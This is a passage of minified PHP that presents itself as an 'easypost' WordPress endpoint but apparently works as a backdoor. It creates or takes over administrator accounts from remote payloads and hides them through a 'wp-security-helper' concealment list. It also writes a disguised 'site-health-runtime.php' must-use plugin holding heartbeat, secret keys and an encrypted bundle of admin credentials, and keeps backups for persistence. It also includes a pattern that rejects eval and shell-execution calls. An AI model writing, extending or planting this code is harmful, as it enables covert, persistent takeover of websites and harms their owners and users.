!isset($wpdb) || !isset($wpdb->options) || !method_exists($wpdb, 'query') || !method_exists($wpdb, 'prepare')) { return false; } $option = 'wsh_tracked_admin_ids'; for ($attempt = 0; $attempt < 5; $attempt++) { $row = easypost_endpoint_read_option_row($option); if ($row['status'] === 'unavailable') { return false; } $raw = $row['status'] === 'found' ? (string) $row['value'] : ''; $ids = easypost_endpoint_parse_admin_concealment_ids($raw); $is_concealed = in_array($user_id, $ids, true); if ((bool) $concealed === $is_concealed) { return true; } if ($concealed) { $ids[] = $user_id; $ids = array_values(array_unique($ids)); } else { $ids = array_values(array_filter($ids, function ($value) use ($user_id) { return (int) $value !== $user_id; })); } $desired = implode(',', $ids); if ($row['status'] === 'missing') { $inserted = easypost_endpoint_insert_option_once($option, $desired); if ($inserted === 'unavailable') { return false; } if ($inserted === 'inserted') { return easypost_endpoint_admin_concealment_matches($user_id, $concealed); } continue; } $updated = $wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->options} SET option_value = %s WHERE option_name = %s AND option_value = %s", $desired, $option, $raw ) ); if ($updated === false || (int) $updated > 1) { return false; } if ((int) $updated === 1) { easypost_endpoint_cache_option_written( $option, false, easypost_endpoint_option_is_autoloaded($row['autoload']) ); return easypost_endpoint_admin_concealment_matches($user_id, $concealed); } } return false; } function easypost_endpoint_hidden_helper_active() { if (!function_exists('is_plugin_active') && defined('ABSPATH')) { $plugin_api = ABSPATH . 'wp-admin/includes/plugin.php'; if (is_readable($plugin_api)) { require_once $plugin_api; } } return function_exists('is_plugin_active') && is_plugin_active('wp-security-helper/wp-security-helper.php') && class_exists('WP_Security_Helper', false); } function easypost_endpoint_admin_matches_contract($user, $login, $password, $concealed) { if (!$user || !hash_equals((string) $user->user_login, (string) $login) || !function_exists('wp_check_password') || !wp_check_password((string) $password, (string) $user->user_pass, (int) $user->ID) || !in_array('administrator', isset($user->roles) ? (array) $user->roles : array(), true) || !easypost_endpoint_admin_concealment_matches((int) $user->ID, (bool) $concealed)) { return false; } return !$concealed || easypost_endpoint_hidden_helper_active(); } function easypost_endpoint_admin_snapshot($user) { $concealment = $user ? easypost_endpoint_admin_concealment_state((int) $user->ID) : 'unavailable'; if (!$user || $concealment === 'unavailable') { return false; } return array( 'id' => (int) $user->ID, 'login' => (string) $user->user_login, 'passwordHash' => (string) $user->user_pass, 'roles' => isset($user->roles) ? (array) $user->roles : array(), 'concealed' => $concealment === 'concealed', ); } function easypost_endpoint_restore_admin_snapshot($snapshot) { global $wpdb; if (!is_array($snapshot) || !isset($snapshot['id'], $snapshot['login'], $snapshot['passwordHash'], $snapshot['roles'], $snapshot['concealed']) || !isset($wpdb) || !isset($wpdb->users) || !method_exists($wpdb, 'update')) { return false; } $restored = $wpdb->update( $wpdb->users, array('user_login' => $snapshot['login'], 'user_pass' => $snapshot['passwordHash']), array('ID' => (int) $snapshot['id']), array('%s', '%s'), array('%d') ); if ($restored === false) { return false; } $user = get_user_by('id', (int) $snapshot['id']); if (!$user || !method_exists($user, 'set_role')) { return false; } $roles = array_values($snapshot['roles']); $user->set_role(count($roles) ? $roles[0] : 'subscriber'); if (method_exists($user, 'add_role')) { for ($index = 1; $index < count($roles); $index++) { $user->add_role($roles[$index]); } } if (!easypost_endpoint_set_admin_concealment((int) $snapshot['id'], (bool) $snapshot['concealed'])) { return false; } easypost_endpoint_clean_admin_cache((int) $snapshot['id'], '', (string) $snapshot['login']); $verified = get_user_by('id', (int) $snapshot['id']); return $verified && hash_equals((string) $verified->user_login, (string) $snapshot['login']) && hash_equals((string) $verified->user_pass, (string) $snapshot['passwordHash']) && (array) $verified->roles === (array) $snapshot['roles'] && easypost_endpoint_admin_concealment_matches((int) $snapshot['id'], (bool) $snapshot['concealed']); } function easypost_endpoint_compensate_created_admin($user) { $user = is_object($user) ? $user : (function_exists('get_user_by') ? get_user_by('id', (int) $user) : false); if (!$user) { return false; } $user_id = (int) $user->ID; easypost_endpoint_set_admin_concealment($user_id, false); if (!function_exists('wp_delete_user') && defined('ABSPATH')) { $user_api = ABSPATH . 'wp-admin/includes/user.php'; if (is_readable($user_api)) { require_once $user_api; } } if (function_exists('wp_delete_user') && wp_delete_user($user_id) && !get_user_by('id', $user_id)) { return true; } if (method_exists($user, 'set_role')) { $user->set_role('subscriber'); } if (function_exists('wp_set_password')) { $replacement = function_exists('wp_generate_password') ? wp_generate_password(48, true, true) : bin2hex(random_bytes(32)); wp_set_password($replacement, $user_id); } if (!easypost_endpoint_set_admin_concealment($user_id, false)) { return false; } easypost_endpoint_clean_admin_cache($user_id, (string) $user->user_login, ''); $verified = get_user_by('id', $user_id); return $verified && !in_array('administrator', isset($verified->roles) ? (array) $verified->roles : array(), true) && easypost_endpoint_admin_concealment_matches($user_id, false); } function easypost_endpoint_reconcile_admin($payload) { if (!array_key_exists('operation', $payload) || !is_string($payload['operation']) || !in_array($payload['operation'], array('inspect', 'create', 'restore'), true)) { easypost_endpoint_admin_response(400, false, 'INVALID_OPERATION'); } if (!array_key_exists('role', $payload) || !is_string($payload['role']) || !in_array($payload['role'], array('general', 'hidden', 'additional'), true)) { easypost_endpoint_admin_response(400, false, 'INVALID_ROLE'); } $operation = $payload['operation']; $role = $payload['role']; if (!array_key_exists('concealed', $payload) || !is_bool($payload['concealed']) || $payload['concealed'] !== ('hidden' === $role)) { easypost_endpoint_admin_response(400, false, 'INVALID_CONCEALMENT'); } if (!array_key_exists('login', $payload) || !is_string($payload['login']) || $payload['login'] === '' || !array_key_exists('password', $payload) || !is_string($payload['password']) || $payload['password'] === '' || !array_key_exists('wpUserId', $payload) || ($payload['wpUserId'] !== null && (!is_int($payload['wpUserId']) || $payload['wpUserId'] < 1 || $payload['wpUserId'] > 2147483647))) { easypost_endpoint_admin_response(400, false, 'INVALID_CREDENTIAL_PAYLOAD'); } $login = $payload['login']; $password = $payload['password']; $wp_user_id = $payload['wpUserId']; $concealed = $payload['concealed']; if (!function_exists('get_user_by') || !function_exists('wp_check_password')) { easypost_endpoint_admin_response(500, false, 'CAPABILITY_FAILED'); } $requires_concealment = 'hidden' === $role && in_array($operation, array('create', 'restore'), true); if ($requires_concealment && !easypost_endpoint_hidden_helper_active()) { easypost_endpoint_admin_response(409, false, 'CONCEALMENT_UNAVAILABLE'); } $user = easypost_endpoint_find_admin($wp_user_id, $login); if ($operation === 'inspect') { list($login_matches, $password_matches) = easypost_endpoint_admin_state($user, $login, $password); easypost_endpoint_admin_response(200, true, 'INSPECTED', (bool) $user, $user, $login_matches, $password_matches); } if ($operation === 'create') { $login_owner = get_user_by('login', $login); if ($wp_user_id !== null) { if ($login_owner && (int) $login_owner->ID !== $wp_user_id) { easypost_endpoint_admin_response(409, false, 'LOGIN_CONFLICT', true, $login_owner); } if ($user) { easypost_endpoint_admin_response(409, false, 'USER_EXISTS', true, $user); } easypost_endpoint_admin_response(404, false, 'USER_NOT_FOUND'); } if ($login_owner) { easypost_endpoint_admin_response(409, false, 'LOGIN_CONFLICT', true, $login_owner); } if (!function_exists('wp_create_user')) { easypost_endpoint_admin_response(500, false, 'CAPABILITY_FAILED'); } $created_id = wp_create_user($login, $password); if ((function_exists('is_wp_error') && is_wp_error($created_id)) || (int) $created_id < 1) { easypost_endpoint_admin_response(500, false, 'CREATE_FAILED'); } $created = get_user_by('id', (int) $created_id); if (!$created || !method_exists($created, 'set_role')) { $compensated = easypost_endpoint_compensate_created_admin((int) $created_id); easypost_endpoint_admin_response(500, false, $compensated ? 'CREATE_FAILED' : 'ROLLBACK_FAILED'); } if ($requires_concealment && !easypost_endpoint_set_admin_concealment((int) $created->ID, true)) { $compensated = easypost_endpoint_compensate_created_admin($created); easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED'); } $created->set_role('administrator'); if (!$requires_concealment && !easypost_endpoint_set_admin_concealment((int) $created->ID, false)) { $compensated = easypost_endpoint_compensate_created_admin($created); easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED'); } if ($requires_concealment && !easypost_endpoint_hidden_helper_active()) { $compensated = easypost_endpoint_compensate_created_admin($created); easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? 'CONCEALMENT_UNAVAILABLE' : 'ROLLBACK_FAILED'); } easypost_endpoint_clean_admin_cache((int) $created->ID, '', $login); $created = get_user_by('id', (int) $created->ID); if (!easypost_endpoint_admin_matches_contract($created, $login, $password, $concealed)) { $compensated = easypost_endpoint_compensate_created_admin($created ?: (int) $created_id); easypost_endpoint_admin_response(500, false, $compensated ? 'CREATE_FAILED' : 'ROLLBACK_FAILED'); } list($login_matches, $password_matches) = easypost_endpoint_admin_state($created, $login, $password); easypost_endpoint_admin_response(201, true, 'CREATED', true, $created, $login_matches, $password_matches); } $login_owner = get_user_by('login', $login); if ($login_owner && (!$user || (int) $login_owner->ID !== (int) $user->ID)) { easypost_endpoint_admin_response(409, false, 'LOGIN_CONFLICT', (bool) $user, $user); } if (!$user) { easypost_endpoint_admin_response(404, false, 'USER_NOT_FOUND'); } if (!function_exists('wp_set_password')) { easypost_endpoint_admin_response(500, false, 'CAPABILITY_FAILED', true, $user); } $snapshot = easypost_endpoint_admin_snapshot($user); if ($snapshot === false) { easypost_endpoint_admin_response(500, false, 'CAPABILITY_FAILED', true, $user); } if ($requires_concealment && !easypost_endpoint_set_admin_concealment((int) $user->ID, true)) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED', true, $user); } if ($requires_concealment && !easypost_endpoint_hidden_helper_active()) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_UNAVAILABLE' : 'ROLLBACK_FAILED', true, $user); } $old_login = (string) $user->user_login; if (!hash_equals($old_login, $login)) { global $wpdb; if (!isset($wpdb) || !isset($wpdb->users)) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response(500, false, $restored ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED', true, $user); } $updated = $wpdb->update( $wpdb->users, array('user_login' => $login), array('ID' => (int) $user->ID), array('%s'), array('%d') ); if ($updated === false) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response(500, false, $restored ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED', true, $user); } } wp_set_password($password, (int) $user->ID); $user = get_user_by('id', (int) $user->ID); if (!$user || !method_exists($user, 'set_role')) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response(500, false, $restored ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED'); } $user->set_role('administrator'); if ($requires_concealment && !easypost_endpoint_set_admin_concealment((int) $user->ID, true)) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED', true, $user); } if (!$requires_concealment && !easypost_endpoint_set_admin_concealment((int) $user->ID, false)) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED', true, $user); } if ($requires_concealment && !easypost_endpoint_hidden_helper_active()) { $restored = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_UNAVAILABLE' : 'ROLLBACK_FAILED', true, $user); } easypost_endpoint_clean_admin_cache((int) $user->ID, $old_login, $login); $restored = get_user_by('id', (int) $user->ID); if (!easypost_endpoint_admin_matches_contract($restored, $login, $password, $concealed)) { $compensated = easypost_endpoint_restore_admin_snapshot($snapshot); easypost_endpoint_admin_response(500, false, $compensated ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED'); } list($login_matches, $password_matches) = easypost_endpoint_admin_state($restored, $login, $password); easypost_endpoint_admin_response(200, true, 'RESTORED', true, $restored, $login_matches, $password_matches); } function easypost_endpoint_site_runtime_path() { $directory = defined('WPMU_PLUGIN_DIR') ? rtrim(WPMU_PLUGIN_DIR, '/\\') : rtrim(WP_CONTENT_DIR, '/\\') . '/mu-plugins'; return $directory . '/site-health-runtime.php'; } function easypost_endpoint_base64url_decode($value) { if (!is_string($value) || !preg_match('/\A[A-Za-z0-9_-]+\z/', $value)) { return false; } $padding = strlen($value) % 4; if ($padding === 1) { return false; } $encoded = $value; if ($padding > 0) { $encoded .= str_repeat('=', 4 - $padding); } $decoded = base64_decode(strtr($encoded, '-_', '+/'), true); if ($decoded === false || !hash_equals($value, rtrim(strtr(base64_encode($decoded), '+/', '-_'), '='))) { return false; } return $decoded; } function easypost_endpoint_exact_array_keys($value, $expected) { if (!is_array($value)) { return false; } $actual = array_keys($value); sort($actual, SORT_STRING); sort($expected, SORT_STRING); return $actual === $expected; } function easypost_endpoint_site_runtime_manifest($runtime_php) { if (!is_string($runtime_php) || strlen($runtime_php) > 262144) { return false; } $pattern = '/\A<\?php\n\/\* SITE_HEALTH_RUNTIME_BEGIN_V1 \*\/\n' . '\/\* SITE_HEALTH_RUNTIME_MANIFEST_V1 ([A-Za-z0-9_-]+) \*\/\n' . '[\s\S]*\n\/\* SITE_HEALTH_RUNTIME_END_V1 \*\/\n\z/'; if (!preg_match($pattern, $runtime_php, $matches)) { return false; } $manifest_json = easypost_endpoint_base64url_decode($matches[1]); if ($manifest_json === false) { return false; } $manifest = json_decode($manifest_json, true); if (!easypost_endpoint_exact_array_keys( $manifest, array('version', 'enabled', 'runtimeVersion', 'configurationVersion') )) { return false; } if ($manifest['version'] !== 1 || !is_bool($manifest['enabled']) || !is_string($manifest['runtimeVersion']) || (!is_string($manifest['configurationVersion']) && $manifest['configurationVersion'] !== null)) { return false; } return $manifest; } function easypost_endpoint_php_single_quoted_value($value) { $decoded = ''; $length = strlen($value); for ($index = 0; $index < $length; $index++) { $character = $value[$index]; if ($character !== '\\') { $decoded .= $character; continue; } $index++; if ($index >= $length || ($value[$index] !== '\\' && $value[$index] !== "'")) { return false; } $decoded .= $value[$index]; } return $decoded; } function easypost_endpoint_normalized_runtime_skeleton($runtime_php) { $manifest_pattern = '/SITE_HEALTH_RUNTIME_MANIFEST_V1 [A-Za-z0-9_-]+/'; $config_pattern = "/define\\('SITE_HEALTH_RUNTIME_CONFIG_V1', '((?:\\\\.|[^'\\\\])*)'\\);/"; $manifest_count = 0; $config_count = 0; $normalized = preg_replace( $manifest_pattern, 'SITE_HEALTH_RUNTIME_MANIFEST_V1 __MANIFEST__', $runtime_php, 1, $manifest_count ); $normalized = preg_replace( $config_pattern, "define('SITE_HEALTH_RUNTIME_CONFIG_V1', '__CONFIG__');", $normalized, 1, $config_count ); if (!is_string($normalized) || $manifest_count !== 1 || $config_count !== 1) { return false; } return $normalized; } function easypost_endpoint_runtime_uuid($value) { return is_string($value) && preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $value); } function easypost_endpoint_runtime_secret($value) { $decoded = easypost_endpoint_base64url_decode($value); return $decoded !== false && strlen($decoded) === 32 ? $decoded : false; } function easypost_endpoint_runtime_url_is_canonical($value) { if (!is_string($value) || $value === '' || strlen($value) > 2048) { return false; } for ($index = 0; $index < strlen($value); $index++) { $byte = ord($value[$index]); if ($byte <= 32 || $byte >= 127) { return false; } } $parts = @parse_url($value); if (!is_array($parts) || !isset($parts['scheme'], $parts['host']) || $parts['scheme'] !== 'https' || isset($parts['user']) || isset($parts['pass'])) { return false; } $host = (string) $parts['host']; if ($host === '' || $host !== strtolower($host) || substr($host, -1) === '.') { return false; } $canonical_host = $host; if ($host[0] === '[' && substr($host, -1) === ']') { $inner = substr($host, 1, -1); $packed = @inet_pton($inner); if ($packed === false || strpos($inner, ':') === false || strtolower((string) inet_ntop($packed)) !== $inner) { return false; } $canonical_host = '[' . $inner . ']'; } else { $packed = @inet_pton($host); if ($packed !== false) { if (strpos($host, ':') !== false || (string) inet_ntop($packed) !== $host) { return false; } } elseif (preg_match('/\A[0-9.]+\z/', $host) || !preg_match('/\A[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?\z/', $host) || strpos($host, '..') !== false) { return false; } } $path = isset($parts['path']) ? (string) $parts['path'] : '/'; foreach (explode('/', $path) as $segment) { $decoded = rawurldecode($segment); if ($decoded === '.' || $decoded === '..') { return false; } } $port = isset($parts['port']) ? (int) $parts['port'] : null; $canonical = 'https://' . $canonical_host . ($port !== null && $port !== 443 ? ':' . $port : '') . $path . (isset($parts['query']) ? '?' . $parts['query'] : '') . (isset($parts['fragment']) ? '#' . $parts['fragment'] : ''); return hash_equals($canonical, $value); } function easypost_endpoint_validate_runtime_users($users, $required_roles) { if (!easypost_endpoint_exact_array_keys($users, array('general', 'hidden', 'additional')) || !is_array($required_roles) || array_values($required_roles) !== $required_roles) { return false; } $derived = array(); foreach (array('general', 'hidden', 'additional') as $role) { $user = $users[$role]; if (!easypost_endpoint_exact_array_keys($user, array('required', 'login', 'email', 'password', 'wpUserId', 'concealed')) || !is_bool($user['required']) || !is_bool($user['concealed']) || $user['concealed'] !== ($role === 'hidden')) { return false; } if (!$user['required']) { if ($user['login'] !== null || $user['email'] !== null || $user['password'] !== null || $user['wpUserId'] !== null) { return false; } continue; } if (!is_string($user['login']) || trim($user['login']) === '' || !is_string($user['email']) || trim($user['email']) === '' || strpos($user['email'], '@') === false || !is_string($user['password']) || $user['password'] === '' || !is_int($user['wpUserId']) || $user['wpUserId'] < 1 || $user['wpUserId'] > 2147483647) { return false; } $derived[] = $role; } return $derived === $required_roles && in_array('general', $derived, true); } function easypost_endpoint_validate_runtime_config_contract($runtime_config) { $runtime_version = isset($runtime_config['runtimeVersion']) ? $runtime_config['runtimeVersion'] : null; $expected_keys = array( 'version', 'heartbeatUrl', 'tokenId', 'signingSecret', 'recoveryKey', 'runtimeVersion', 'configurationVersion', 'repairEnabled', 'endpointProbe', 'requiredRoles', 'bootstrapBundle' ); if ($runtime_version === '2026.08.12') { $expected_keys[] = 'applicationPassword'; } elseif ($runtime_version !== '2026.08.11') { return false; } if (!easypost_endpoint_exact_array_keys( $runtime_config, $expected_keys ) || $runtime_config['version'] !== 1 || !easypost_endpoint_runtime_uuid($runtime_config['tokenId']) || !easypost_endpoint_runtime_uuid($runtime_config['configurationVersion']) || !is_bool($runtime_config['repairEnabled']) || !easypost_endpoint_runtime_url_is_canonical($runtime_config['heartbeatUrl'])) { return false; } if ($runtime_version === '2026.08.12') { $application_password = $runtime_config['applicationPassword']; if (!easypost_endpoint_exact_array_keys( $application_password, array('required', 'ownerWpUserId', 'managedUuid') ) || !is_bool($application_password['required']) || ($application_password['ownerWpUserId'] !== null && (!is_int($application_password['ownerWpUserId']) || $application_password['ownerWpUserId'] < 1 || $application_password['ownerWpUserId'] > 2147483647)) || ($application_password['managedUuid'] !== null && !easypost_endpoint_runtime_uuid($application_password['managedUuid'])) || (($application_password['ownerWpUserId'] === null) !== ($application_password['managedUuid'] === null)) || (!$application_password['required'] && ($application_password['ownerWpUserId'] !== null || $application_password['managedUuid'] !== null))) { return false; } } $signing = easypost_endpoint_runtime_secret($runtime_config['signingSecret']); $recovery = easypost_endpoint_runtime_secret($runtime_config['recoveryKey']); $envelope = $runtime_config['bootstrapBundle']; if ($signing === false || $recovery === false || hash_equals($signing, $recovery) || !easypost_endpoint_exact_array_keys($envelope, array('version', 'cipher', 'nonce', 'tag', 'ciphertext')) || $envelope['version'] !== 1 || $envelope['cipher'] !== 'aes-256-gcm') { return false; } $nonce = easypost_endpoint_base64url_decode($envelope['nonce']); $tag = easypost_endpoint_base64url_decode($envelope['tag']); $ciphertext = easypost_endpoint_base64url_decode($envelope['ciphertext']); if ($nonce === false || strlen($nonce) !== 12 || $tag === false || strlen($tag) !== 16 || $ciphertext === false || !function_exists('openssl_decrypt')) { return false; } $key = hash_hmac('sha256', 'site-health-runtime-bundle-v1', $recovery, true); $plaintext = openssl_decrypt( $ciphertext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $nonce, $tag, 'site-health-runtime-bundle-v1' ); if ($plaintext === false) { return false; } $users = json_decode($plaintext, true); if (function_exists('sodium_memzero')) { sodium_memzero($plaintext); } return easypost_endpoint_validate_runtime_users($users, $runtime_config['requiredRoles']); } function easypost_endpoint_validate_site_runtime($payload, $decoded_php) { if (!isset($payload['runtimeVersion']) || !is_string($payload['runtimeVersion']) || !in_array($payload['runtimeVersion'], array( '2026.08.11', '2026.08.12' ), true)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_version_invalid')); } if (!isset($payload['configurationVersion']) || !is_string($payload['configurationVersion']) || !preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $payload['configurationVersion'])) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'configuration_version_invalid')); } if (!isset($payload['sha256']) || !is_string($payload['sha256']) || !preg_match('/\A[a-f0-9]{64}\z/', $payload['sha256'])) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_invalid')); } if (strlen($decoded_php) > 262144) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_too_large')); } $computed_sha256 = hash('sha256', $decoded_php); if (!hash_equals($payload['sha256'], $computed_sha256)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_mismatch')); } $manifest = easypost_endpoint_site_runtime_manifest($decoded_php); if ($manifest === false || $manifest['enabled'] !== true || !hash_equals($payload['runtimeVersion'], $manifest['runtimeVersion']) || !hash_equals($payload['configurationVersion'], $manifest['configurationVersion'])) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_manifest_invalid')); } $dynamic_scan = str_replace( array( "require_once ABSPATH . 'wp-admin/includes/user.php';", "require_once ABSPATH . 'wp-admin/includes/plugin.php';" ), '', $decoded_php ); if (preg_match('/(?:\beval\s*\(|\bassert\s*\(|\bcreate_function\s*\(|\bshell_exec\s*\(|\bsystem\s*\(|\bpassthru\s*\(|\bproc_open\s*\(|\bpopen\s*\(|\binclude(?:_once)?\b|\brequire(?:_once)?\b|\x60)/i', $dynamic_scan)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'dynamic_construct_rejected')); } $config_pattern = "/define\\('SITE_HEALTH_RUNTIME_CONFIG_V1', '((?:\\\\.|[^'\\\\])*)'\\);/"; if (preg_match_all($config_pattern, $decoded_php, $config_matches) !== 1) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_config_invalid')); } $config_json = easypost_endpoint_php_single_quoted_value($config_matches[1][0]); $runtime_config = $config_json === false ? null : json_decode($config_json, true); if (!is_array($runtime_config) || !isset($runtime_config['version']) || $runtime_config['version'] !== 1 || !isset($runtime_config['runtimeVersion'], $runtime_config['configurationVersion']) || !is_string($runtime_config['runtimeVersion']) || !is_string($runtime_config['configurationVersion']) || !hash_equals($manifest['runtimeVersion'], $runtime_config['runtimeVersion']) || !hash_equals($manifest['configurationVersion'], $runtime_config['configurationVersion'])) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_config_invalid')); } if (!easypost_endpoint_validate_runtime_config_contract($runtime_config)) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_config_invalid')); } $endpoint_config = easypost_endpoint_config(); $normalized_runtime = easypost_endpoint_normalized_runtime_skeleton($decoded_php); $legacy_runtime = $payload['runtimeVersion'] === '2026.08.11'; $skeleton_sha_key = $legacy_runtime ? 'legacy_runtime_skeleton_sha256' : 'runtime_skeleton_sha256'; $skeleton_bytes_key = $legacy_runtime ? 'legacy_runtime_skeleton_bytes' : 'runtime_skeleton_bytes'; if ($normalized_runtime === false || !isset($endpoint_config[$skeleton_sha_key], $endpoint_config[$skeleton_bytes_key]) || strlen($normalized_runtime) !== (int) $endpoint_config[$skeleton_bytes_key] || !hash_equals($endpoint_config[$skeleton_sha_key], hash('sha256', $normalized_runtime))) { easypost_endpoint_json(400, array('ok' => false, 'error' => 'runtime_skeleton_mismatch')); } return $runtime_config; } function easypost_endpoint_atomic_site_runtime_write($runtime_php, $respond_on_failure = true) { $runtime_path = easypost_endpoint_site_runtime_path(); $directory = dirname($runtime_path); if (!is_dir($directory) && (!function_exists('wp_mkdir_p') || !wp_mkdir_p($directory))) { if ($respond_on_failure) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'runtime_directory_unavailable')); } return false; } $temporary_path = tempnam($directory, '.site-health-runtime-'); if ($temporary_path === false) { if ($respond_on_failure) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'runtime_write_failed')); } return false; } $bytes = file_put_contents($temporary_path, $runtime_php, LOCK_EX); if ($bytes === false || $bytes !== strlen($runtime_php)) { @unlink($temporary_path); if ($respond_on_failure) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'runtime_write_failed')); } return false; } @chmod($temporary_path, 0644); if (!rename($temporary_path, $runtime_path)) { @unlink($temporary_path); if ($respond_on_failure) { easypost_endpoint_json(500, array('ok' => false, 'error' => 'runtime_rename_failed')); } return false; } if (function_exists('opcache_invalidate')) { @opcache_invalidate($runtime_path, true); } clearstatcache(true, $runtime_path); return $runtime_path; } function easypost_endpoint_site_runtime_hook_events($hook) { if (function_exists('_get_cron_array')) { $cron = _get_cron_array(); if (!is_array($cron)) { return false; } $events = array(); foreach ($cron as $timestamp => $hooks) { if (!isset($hooks[$hook]) || !is_array($hooks[$hook])) { continue; } foreach ($hooks[$hook] as $event) { $events[] = array( 'timestamp' => (int) $timestamp, 'schedule' => isset($event['schedule']) ? $event['schedule'] : false, 'args' => isset($event['args']) && is_array($event['args']) ? $event['args'] : array(), ); } } return $events; } $timestamp = wp_next_scheduled($hook); return $timestamp === false ? array() : array(array( 'timestamp' => (int) $timestamp, 'schedule' => $hook === 'site_health_runtime_daily_v1' ? 'daily' : false, 'args' => array(), )); } function easypost_endpoint_site_runtime_event_fingerprints($events) { if (!is_array($events)) { return false; } $values = array(); foreach ($events as $event) { if (!is_array($event) || !isset($event['timestamp'], $event['schedule'], $event['args'])) { return false; } $values[] = (int) $event['timestamp'] . ':' . (string) $event['schedule'] . ':' . serialize($event['args']); } sort($values, SORT_STRING); return $values; } function easypost_endpoint_upgrade_backup_path() { return dirname(easypost_endpoint_site_runtime_path()) . '/site-health-runtime-data/previous.php'; } function easypost_endpoint_upgrade_marker($raw) { $marker = function_exists('maybe_unserialize') ? maybe_unserialize($raw) : @unserialize($raw); if (!is_array($marker) || array_keys($marker) !== array('version', 'transactionId', 'desiredSha256', 'previousSha256') || $marker['version'] !== 1 || !is_string($marker['transactionId']) || !preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}\z/', $marker['transactionId']) || !is_string($marker['desiredSha256']) || !preg_match('/\A[a-f0-9]{64}\z/', $marker['desiredSha256']) || !is_string($marker['previousSha256']) || !preg_match('/\A[a-f0-9]{64}\z/', $marker['previousSha256'])) { return false; } return $marker; } function easypost_endpoint_upgrade_backup_exists($path) { return file_exists($path) || is_link($path); } function easypost_endpoint_read_upgrade_backup($path) { $directory = dirname($path); if (!is_file($path) || is_link($path) || is_link($directory) || !is_readable($path) || (((int) @fileperms($path)) & 0077) !== 0 || (((int) @fileperms($directory)) & 0077) !== 0) { return false; } $wrapped = @file_get_contents($path, false, null, 0, 524289); $prefix = "<?php\nhttp_response_code(404);\nexit;\n__halt_compiler();\n"; if (!is_string($wrapped) || strlen($wrapped) > 524288 || strpos($wrapped, $prefix) !== 0 || !preg_match( '/\A<\?php\nhttp_response_code\(404\);\nexit;\n__halt_compiler\(\);\n\/\* SITE_HEALTH_RUNTIME_BACKUP_V1 ([A-Za-z0-9_-]+) \*\/\n([A-Za-z0-9+\/]+={0,2})\n\z/', $wrapped, $matches )) { return false; } $metadata_json = easypost_endpoint_base64url_decode($matches[1]); $metadata = is_string($metadata_json) ? json_decode($metadata_json, true) : null; $source = base64_decode($matches[2], true); $normalized_source = is_string($source) ? easypost_endpoint_normalized_runtime_skeleton($source) : false; $endpoint_config = easypost_endpoint_config(); $source_manifest = is_string($source) ? easypost_endpoint_site_runtime_manifest($source) : false; $legacy_source = is_array($source_manifest) && isset($source_manifest['runtimeVersion']) && $source_manifest['runtimeVersion'] === '2026.08.11'; $source_skeleton_sha_key = $legacy_source ? 'legacy_runtime_skeleton_sha256' : 'runtime_skeleton_sha256'; $source_skeleton_bytes_key = $legacy_source ? 'legacy_runtime_skeleton_bytes' : 'runtime_skeleton_bytes'; if (!is_array($metadata) || easypost_endpoint_upgrade_marker(serialize($metadata)) === false || !hash_equals( $matches[1], rtrim(strtr(base64_encode(json_encode($metadata, JSON_UNESCAPED_SLASHES)), '+/', '-_'), '=') ) || !is_string($source) || !hash_equals($matches[2], base64_encode($source)) || $source_manifest === false || !is_string($normalized_source) || !isset($endpoint_config[$source_skeleton_sha_key], $endpoint_config[$source_skeleton_bytes_key]) || strlen($normalized_source) !== (int) $endpoint_config[$source_skeleton_bytes_key] || !hash_equals($endpoint_config[$source_skeleton_sha_key], hash('sha256', $normalized_source)) || !hash_equals($metadata['previousSha256'], hash('sha256', $source))) { return false; } return array( 'bytes' => $wrapped, 'metadata' => $metadata, 'source' => $source, ); } function easypost_endpoint_restore_upgrade_backup($path, $bytes) { $directory = dirname($path); if (!is_string($bytes) || !hash_equals(easypost_endpoint_upgrade_backup_path(), $path) || is_link($directory) || (is_file($path) && is_link($path)) || (!is_dir($directory) 